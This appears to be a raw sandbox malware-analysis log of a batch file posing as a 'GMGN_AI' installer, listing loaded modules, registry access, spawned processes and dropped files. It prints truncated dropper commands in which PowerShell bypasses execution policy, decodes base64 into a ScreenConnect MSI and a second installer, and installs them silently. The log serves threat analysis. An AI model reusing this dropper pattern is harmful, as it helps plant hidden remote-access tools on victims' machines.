x64.exe" loaded module "FECLIENT.DLL" at base 74b80000 "Docusign Print Driver x64.exe" loaded module "SRPAPI.DLL" at base 6e9b0000 "Docusign Print Driver x64.exe" loaded module "NTDLL.DLL" at base 770e0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSWOW64\SHLWAPI.DLL" at base 762f0000 "Docusign Print Driver x64.exe" loaded module "COMCTL32.DLL" at base 6f700000 "Docusign Print Driver x64.exe" loaded module "SHELL32.DLL" at base 76610000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSWOW64\NETAPI32.DLL" at base 6fc90000 "Docusign Print Driver x64.exe" loaded module "CRYPT32.DLL" at base 76160000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e920000 "Docusign Print Driver x64.exe" loaded module "WINHTTP.DLL" at base 6e850000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e830000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 6fd90000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6fcb0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6fbf0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e7b0000 "Docusign Print Driver x64.exe" loaded module "CRYPTNET.DLL" at base 6e920000 "Docusign Print Driver x64.exe" loaded module "ADVAPI32.DLL" at base 76420000 "Docusign Print Driver x64.exe" loaded module "MSIHND.DLL" at base 6e770000 "Docusign Print Driver x64.exe" loaded module "KERNEL32" at base 76fe0000 "Docusign Print Driver x64.exe" loaded module "DWMAPI" at base 6e740000 "Docusign Print Driver x64.exe" loaded module "USER32" at base 75430000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSWOW64\OLEACC.DLL" at base 6e380000 "Docusign Print Driver x64.exe" loaded module "OLEAUT32.DLL" at base 75d90000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSCODECS.DLL" at base 6f200000 "Docusign Print Driver x64.exe" loaded module "RICHED20.DLL" at base 6e300000 "rundll32.exe" loaded module "%TEMP%\MSIE844.TMP" at base 7ffb85b60000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb91a60000 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb94430000 "rundll32.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb91f50000 "rundll32.exe" loaded module "VERSION.DLL" at base 7ffb8aa50000 "rundll32.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb94430000 "rundll32.exe" loaded module "OLE32.DLL" at base 1897e010000 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb93090000 "rundll32.exe" loaded module "OLEAUT32.DLL" at base 7ffb94f80000 "rundll32.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb94430000 "rundll32.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb6a5e0000 "rundll32.exe" loaded module "KERNEL32.DLL" at base 7ffb95c90000 "rundll32.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\24206316825BB75EBFBDD31895DF2F1F\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb6a2a000058:T4b4,"cmd.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94400000 "powershell.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94400000 "powershell.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 94370000 "msiexec.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94400000 "msiexec.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 94370000 "MsiExec.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 75200000 "MsiExec.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75CA0000 "rundll32.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 75200000 "rundll32.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75CA0000 "SecondInstaller.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 75200000 "SecondInstaller.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75CA0000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 75200000 "Docusign Print Driver x64.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75CA0000 "MsiExec.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 94400000 "MsiExec.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 9437000059:T6fe,"SecondInstaller.exe" touched "XML DOM Document" (Path: "HKCU\WOW6432NODE\CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}") "SecondInstaller.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "SecondInstaller.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "SecondInstaller.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "SecondInstaller.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "SecondInstaller.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "SecondInstaller.exe" touched "Start Menu Cache" (Path: "HKCU\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "SecondInstaller.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "Docusign Print Driver x64.exe" touched "MSAA AccPropServices" (Path: "HKCU\WOW6432NODE\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}") "Docusign Print Driver x64.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\TREATAS") "Docusign Print Driver x64.exe" touched "AutomaticUpdates Class" (Path: "HKCU\WOW6432NODE\CLSID\{BFE18E9C-6D87-4450-B37C-E02F0B373803}\TREATAS") "Docusign Print Driver x64.exe" touched "SPP Class" (Path: "HKCU\WOW6432NODE\CLSID\{4B966436-6781-4906-8035-9AF94B32C3F7}\INPROCSERVER32") "Docusign Print Driver x64.exe" touched "Msi install server" (Path: "HKCU\WOW6432NODE\CLSID\{000C101C-0000-0000-C000-000000000046}\INPROCSERVER32")5a:T53f,Observed system executable string:"%WINDIR%\system32\fltMC.exe" [Source: 00000000-00004720-00000C47-1186173136] Observed system executable string:"%WINDIR%\System32\fltMC.exe" [Source: 00000000-00004720-00000BC0-1832828271] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00004720-00000BC0-1833377857] Observed system executable string:"%WINDIR%\System32\msiexec.exe" [Source: 00000000-00004720-00000BC0-1858152865] Observed system executable string:"%WINDIR%\system32\msiexec.exe" [Source: 00000000-00004720-00000BC0-1858155445] Observed system executable string:"%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe" [Source: 00000000-00007120-00000BC0-1872744067] Observed system executable string:""%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe" -burn.clean.room="%LOCALAPPDATA%\" [Source: 00000000-00007120-00000C47-6294377906], Observed system executable string:"%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe" [Source: 00000000-00007008-00000C47-29538292064], Observed system executable string:""%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{C57982AE-9F" [Source: 00000000-00007008-00000C47-29538292064]5b:T100d,Process "fltMC.exe" (UID: 00000000-00001336) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", BUNDLE="C:\GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat"" Process "fltMC.exe" (UID: 00000000-00001336) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00006420) was launched with new environment variables: "REBOOT_REQUIRED="0", BAT_LOG="%TEMP%\SC_FeedbackTool-bat.log", MSI_LOG="%TEMP%\SC_FeedbackTool-install.log", TD="%TEMP%\SC_FeedbackTool_107829898", OUTFILE="%TEMP%\SC_FeedbackTool_107829898\SC_FeedbackTool.msi", SECTION="MSI"" Process "powershell.exe" (UID: 00000000-00007528) was launched with modified environment variables: "OUTFILE, SECTION" Process "msiexec.exe" (UID: 00000000-00003084) was launched with modified environment variables: "PSModulePath, USERNAME, PATHEXT, LOCALAPPDATA, USERDOMAIN, APPDATA, Path, TEMP, USERPROFILE, TMP, NUMBER_OF_PROCESSORS" Process "msiexec.exe" (UID: 00000000-00003084) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, REBOOT_REQUIRED, USERDNSDOMAIN, FPS_BROWSER_USER_PROFILE_STRING, HOMEPATH, FPS_BROWSER_APP_PROFILE_STRING, LOGONSERVER, BAT_LOG, PROMPT, OneDrive, MSI_LOG, BUNDLE, TD, OUTFILE, HOMEDRIVE, SECTION" Process "MsiExec.exe" (UID: 00000000-00005348) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", LOGONSERVER="\\DESKTOP-FVVF82A", OneDrive="%USERPROFILE%\OneDrive", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:"" Process "MsiExec.exe" (UID: 00000000-00005348) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, APPDATA, USERNAME, Path, TEMP, USERPROFILE, TMP" Process "rundll32.exe" (UID: 00000000-00005036) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "rundll32.exe" (UID: 00000000-00005036) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "MsiExec.exe" (UID: 00000000-00002336) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "MsiExec.exe" (UID: 00000000-00002336) was launched with missing environment variables: "USERDNSDOMAIN, PROCESSOR_ARCHITEW6432" Process "SecondInstaller.exe" (UID: 00000000-00007120) was launched with new environment variables: "REBOOT_REQUIRED="0", USERDNSDOMAIN="DESKTOP-FVVF82A", FPS_BROWSER_USER_PROFILE_STRING="Default", MSI_EXIT="0", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", BAT_LOG="%TEMP%\SC_FeedbackTool-bat.log", PROMPT="$P$G", MSI_LOG="%TEMP%\SC_FeedbackTool-install.log", BUNDLE="C:\GMGN_AI-Installer-Winx86-Setup-v1.0.0.bat", TD="%TEMP%\SC_FeedbackTool_107829898", OUTFILE="%TEMP%\SC_FeedbackTool_107829898\SecondInstaller.exe", SECTION="EXE"" Process "SecondInstaller.exe" (UID: 00000000-00007120) was launched with modified environment variables: "PSModulePath, PATHEXT, Path, NUMBER_OF_PROCESSORS" Process "SecondInstaller.exe" (UID: 00000000-00007008) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "SecondInstaller.exe" (UID: 00000000-00007008) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles" Process "MsiExec.exe" (UID: 00000000-00006500) was launched with missing environment variables: "SSLKEYLOGFILE, PROMPT, REBOOT_REQUIRED, SESSIONNAME, PSModulePath, SystemDrive, ProgramFiles(x86), ProgramData, ProgramW6432, ProgramFiles, PUBLIC, SECTION" Process "MsiExec.exe" (UID: 00000000-00005500) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, PATHEXT, ProgramFiles, CommonProgramFiles, Path, NUMBER_OF_PROCESSORS" Process "MsiExec.exe" (UID: 00000000-00005500) was launched with missing environment variables: "REBOOT_REQUIRED, USERDNSDOMAIN, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432, MSI_EXIT, FPS_BROWSER_APP_PROFILE_STRING, BAT_LOG, PROMPT, MSI_LOG, BUNDLE, TD, OUTFILE, SECTION"5c:T102b,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006420-00000C2E-768087928] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006420-00000C2B-1834454755] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006420-00000C2B-1834585058] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006420-00000C2B-1834661752] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll" [Source: 00000000-00006420-00000C2B-1834918707] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006420-00000C2B-1834976063] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006420-00000C2B-1835035178] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006420-00000C2B-1835084732] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll" [Source: 00000000-00006420-00000C2B-1835175727] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll" [Source: 00000000-00006420-00000C2B-1835231414] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006420-00000C2B-1835314669] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006420-00000C2B-1835452774] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006420-00000C2B-1835571444] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006420-00000C2B-1835751629] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006420-00000C2B-1835756278] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006420-00000C2B-1835924882] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006420-00000C2B-1836429264] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006420-00000C2B-1836761101] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006420-00000C2B-1836913073] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006420-00000C2B-1836938437] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006420-00000C2B-1837063180] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00006420-00000C2B-1837075634] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006420-00000C2B-1837730019] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00006420-00000C2B-1837935980] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll" [Source: 00000000-00006420-00000C2B-1838055649]5d:Tb25,Spawned process "fltMC.exe" (UID: 00000000-00001336) Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.F ..." (UID: 00000000-00006420, Additional Context: "if(-not $match.Success){exit 2} [IO.File]::WriteAllBytes('C:\Users\HAPUBWS\AppData\Local\Temp\SC_FeedbackTool_107829898\SC_FeedbackTool.msi',FromBase64String($data)); ��\�j��5U�nz��"), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.F ..." (UID: 00000000-00007528, Additional Context: "if(-not $match.Success){exit 2} [IO.File]::WriteAllBytes('C:\Users\HAPUBWS\AppData\Local\Temp\SC_FeedbackTool_107829898\SecondInstaller.exe',FromBase64String($data)); ��\�j��5U�nz��"), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Pat ..." (UID: 00000000-00002772) Spawned process "msiexec.exe" with commandline "/i "%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi" /qui ..." (UID: 00000000-00002268) Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00003084) Spawned process "MsiExec.exe" with commandline "-Embedding A1513219D2E733198E83578BBFD3698F" (UID: 00000000-00005348) Spawned process "rundll32.exe" with commandline ""%WINDIR%\\Installer\\MSI646E.tmp",zzzzInvokeManagedCustomAction ..." (UID: 00000000-00005036) Spawned process "MsiExec.exe" with commandline "-Embedding 87C8B0CF6C64EC883530F72035383D3E E Global\\MSI0000" (UID: 00000000-00002336) Spawned process "SecondInstaller.exe" (UID: 00000000-00007120) Spawned process "SecondInstaller.exe" with commandline "-burn.clean.room="%TEMP%\\SC_FeedbackTool_107829898\\SecondInsta ..." (UID: 00000000-00007008), Spawned process "Docusign Print Driver x64.exe" with commandline "-q -burn.elevated BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55 ..." (UID: 00000000-00007000), Spawned process "MsiExec.exe" with commandline "-Embedding 7527B4F8C09CFAE004EA3EC469F4A599 C" (UID: 00000000-00006500), Spawned process "rundll32.exe" with commandline ""%TEMP%\\MSIE844.tmp" zzzzInvokeManagedCustomActionOutOfProc Sfx ..." (UID: 00000000-00005136), Spawned process "MsiExec.exe" with commandline "-Embedding 43C3790684DFDF866A6E7BCE1D2726B3 C" (UID: 00000000-00007972), Spawned process "MsiExec.exe" with commandline "-Embedding 8E707B031C3CD0B988381CB06A99A8F8" (UID: 00000000-00005500), Spawned process "MsiExec.exe" with commandline "-Embedding 85594912C6E434581A1C15B0A3C26012" (UID: 00000000-00006724), Spawned process "MsiExec.exe" with commandline "-Embedding D5570AE08DE2F34A1E5CC49B75B1A2AB E Global\\MSI0000" (UID: 00000000-00007224), Spawned process "MsiExec.exe" with commandline "-Embedding 6FB760E34E1083DBC6C0CF3067912420 E Global\\MSI0000" (UID: 00000000-00002908)5e:Tb25,Spawned process "fltMC.exe" (UID: 00000000-00001336) Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.F ..." (UID: 00000000-00006420, Additional Context: "if(-not $match.Success){exit 2} [IO.File]::WriteAllBytes('C:\Users\HAPUBWS\AppData\Local\Temp\SC_FeedbackTool_107829898\SC_FeedbackTool.msi',FromBase64String($data)); ��\�j��5U�nz��"), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.F ..." (UID: 00000000-00007528, Additional Context: "if(-not $match.Success){exit 2} [IO.File]::WriteAllBytes('C:\Users\HAPUBWS\AppData\Local\Temp\SC_FeedbackTool_107829898\SecondInstaller.exe',FromBase64String($data)); ��\�j��5U�nz��"), Spawned process "powershell.exe" with commandline "-NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$m=Join-Pat ..." (UID: 00000000-00002772) Spawned process "msiexec.exe" with commandline "/i "%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi" /qui ..." (UID: 00000000-00002268) Spawned process "msiexec.exe" with commandline "/V" (UID: 00000000-00003084) Spawned process "MsiExec.exe" with commandline "-Embedding A1513219D2E733198E83578BBFD3698F" (UID: 00000000-00005348) Spawned process "rundll32.exe" with commandline ""%WINDIR%\\Installer\\MSI646E.tmp",zzzzInvokeManagedCustomAction ..." (UID: 00000000-00005036) Spawned process "MsiExec.exe" with commandline "-Embedding 87C8B0CF6C64EC883530F72035383D3E E Global\\MSI0000" (UID: 00000000-00002336) Spawned process "SecondInstaller.exe" (UID: 00000000-00007120) Spawned process "SecondInstaller.exe" with commandline "-burn.clean.room="%TEMP%\\SC_FeedbackTool_107829898\\SecondInsta ..." (UID: 00000000-00007008), Spawned process "Docusign Print Driver x64.exe" with commandline "-q -burn.elevated BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55 ..." (UID: 00000000-00007000), Spawned process "MsiExec.exe" with commandline "-Embedding 7527B4F8C09CFAE004EA3EC469F4A599 C" (UID: 00000000-00006500), Spawned process "rundll32.exe" with commandline ""%TEMP%\\MSIE844.tmp" zzzzInvokeManagedCustomActionOutOfProc Sfx ..." (UID: 00000000-00005136), Spawned process "MsiExec.exe" with commandline "-Embedding 43C3790684DFDF866A6E7BCE1D2726B3 C" (UID: 00000000-00007972), Spawned process "MsiExec.exe" with commandline "-Embedding 8E707B031C3CD0B988381CB06A99A8F8" (UID: 00000000-00005500), Spawned process "MsiExec.exe" with commandline "-Embedding 85594912C6E434581A1C15B0A3C26012" (UID: 00000000-00006724), Spawned process "MsiExec.exe" with commandline "-Embedding D5570AE08DE2F34A1E5CC49B75B1A2AB E Global\\MSI0000" (UID: 00000000-00007224), Spawned process "MsiExec.exe" with commandline "-Embedding 6FB760E34E1083DBC6C0CF3067912420 E Global\\MSI0000" (UID: 00000000-00002908)5f:T465,"cmd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool-bat.log" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_iulw3s4j.zl2.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ybg1iizh.fbb.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool_107829898\SC_FeedbackTool.msi" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_lx2kkz1u.4hw.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_0rkn2u2x.vdx.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool_107829898\SecondInstaller.exe" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fx4mjibc.1z2.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_vemvf40a.vqq.psm1" "SecondInstaller.exe" writes to a file "C:\Windows\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe"60:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002772.00000000.215210.E0B80000.00000004.mdmp")61:T628f,"SecondInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\SC_FeedbackTool_107829898\SecondInstaller.exe]- [targetUID: 00000000-00007120] "SC_FeedbackTool.msi" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.2 MSI Installer Code page: 1252 Title: Installation Database Subject: Default Author: ScreenConnect Software Keywords: Default Comments: Default Template: Intel;1033 Revision Number: {30C8C50F-FBDD-D902-5643-9E66491DF8DC} Create Time/Date: Fri Jun 6 01:38:20 2025 Last Saved Time/Date: Fri Jun 6 01:38:20 2025 Number of Pages: 200 Number of Words: 2 Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701) Security: 2"- Location: [%TEMP%\SC_FeedbackTool_107829898\SC_FeedbackTool.msi]- [targetUID: 00000000-00006420] "ScreenConnect.Windows.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Windows.dll]- [targetUID: 00000000-00005036] "SecondInstaller.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%WINDIR%\Temp\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\.cr\SecondInstaller.exe]- [targetUID: 00000000-00007120] "ScreenConnect.Core.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.Core.dll]- [targetUID: 00000000-00005036] "mbapreq.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- [targetUID: N/A] "DocuSign.BootstrapperApplication.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\DocuSign.BootstrapperApplication.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\MSIE844.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: 